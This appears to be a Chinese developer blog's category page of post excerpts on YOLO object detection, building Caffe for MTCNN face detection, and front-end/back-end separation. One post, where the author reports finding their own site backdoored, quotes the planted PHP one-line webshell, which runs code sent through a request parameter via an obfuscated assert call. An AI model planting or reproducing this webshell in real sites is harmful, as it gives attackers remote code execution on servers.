分类 开发相关 下的文章

目标检测YOLOv5笔记 (1)

YOLOv5虽然貌似没有得到作者的认同,网络结构上创新似乎也不多,网上对其是否配上这个名称更是一直有非议,但我们在一些应用场景中测试YOLOv5的检测效果,比起V3,V4还是有推理速度更快,检测框更贴合目标的特点。
而且YOLOv5还在继续迭代,所以还是有学习意义的。

网络由四个主要部分组成:

  1. Input 输入层需要对图形进行处理,在训练时需要对数据集计算初始设定长宽的锚框。
  2. Backbone 在不同图像细粒度上聚合并形成图像特征的卷积神经网络。
  3. Neck 一系列混合和组合图像特征的网络层,并将图像特征传递到预测层。
  4. Output 对图像特征进行预测,生成边界框和并预测类别。

对于YOLOV5,无论是s,m,l还是x 这四部分都是一致。唯一的区别在与模型的深度和宽度设置。

- 阅读剩余部分 -

目标检测YOLOv3笔记(4):输入图片数据预处理

YOLOv3对图片进行检测前,先要对图片进行预处理,先进行转换再进行resize使其和网络输入大小一致。这个过程使用demo的cpu方法对于大图片会花费很多实际。1080P的图片大概需要100ms左右。

因此仔细研究这个预处理过程的代码,并将其转换为使用cuda在GPU里进行预处理相信可以快很多。

- 阅读剩余部分 -

基于Caffe框架下MTCNN网络进行人脸检测(1):编译caffeV1.0

首先是编译Caffe

前提条件:

  1. 英伟达驱动,CUDA,CUDNN都已经部署完成
  2. opencv编译安装好

安装依赖

sudo apt-get update && apt-get install -q -y \
    libprotobuf-dev libleveldb-dev libsnappy-dev libhdf5-serial-dev protobuf-compiler \
    libatlas-base-dev libgflags-dev libgoogle-glog-dev \
    liblmdb-dev libopenblas-dev \
    python-tk libpython2.7-dev python-pip \
    python-scipy  python-matplotlib && \
apt-get install -q -y --no-install-recommends libboost-all-dev && \

- 阅读剩余部分 -

目标检测YOLOv3笔记(3):人脸训练数据

正式训练一些数据,这次主要我们测试用YOLO来进行人脸检测。

下载训练数据集,一般有FDDB 和 wider_face(http://mmlab.ie.cuhk.edu.hk/projects/WIDERFace/
wider_face 人脸更多,训练结果当然更好。但是使用起来很麻烦。所以这里我们先使用FDDB进行训练

进入下载页面
http://vis-www.cs.umass.edu/fddb/index.html#download

分别下载图片和标注文件
FDDB-folds.tgz
originalPics.tar.gz

- 阅读剩余部分 -

目标检测YOLOv3笔记(1):安装测试

网络原理就不多讲,我也是半知半解,我们先关注怎么用。

下载源码

git clone https://github.com/pjreddie/darknet.git

对Makefile的几个参数根据自己的情况进行修改

GPU=1
CUDNN=1
OPENCV=1

编译make,下载训练好的权重文件:
wget https://pjreddie.com/media/files/yolov3.weights

然后就可以测试
测试图片

./darknet detect cfg/yolov3.cfg yolov3.weights data/dog.jpg

TIM截图20181101092512.png

测试视频,video file自己放段视频

./darknet detector demo cfg/coco.data cfg/yolov3.cfg yolov3.weights <video file>

忽然被挂马,不知何解

今晚要睡觉,忽然发现首页被放了个后门,也不知道是什么时候给放的,哎,太久没打理,等网关弄好再好好整整。

一句话后门

$_REQUEST['y2gyc0']) && array_map("ass\x65rt",(array)$_REQUEST['y2gyc0']);

猜测是我版本升级的时候没有把install.php忽略,结果留下这个安装入口的隐患

前后端分离架构开发笔记前言:架构初步构思

个人觉得前后端分离有诸多好处,特别是在快速迭代的移动互联网应用的开发上。

其一是优化开发流程和分工,可是让前后端的开发工作同步进行,设计初步确定后前后端开发人员协商定下接口文档,前端开发人员可以构建Mock工具模拟接口进行开发;

其二是解耦,移动互联网项目出现变更的情况非常普遍,前后端分离让变更照成的影响减低,加上前端采用组件化,一些变更甚至只需要修改前端的某个组件,有些可能就是后端提供新接口前端添加组件。

其三是对应用的控制和排错更加方便,接口可以都接入统一的API网关进行控制和监控;
其四是某些场景下可以降低对服务端性能的消耗,这里是指采用比如nodejs的前端框架进行前端渲染。

- 阅读剩余部分 -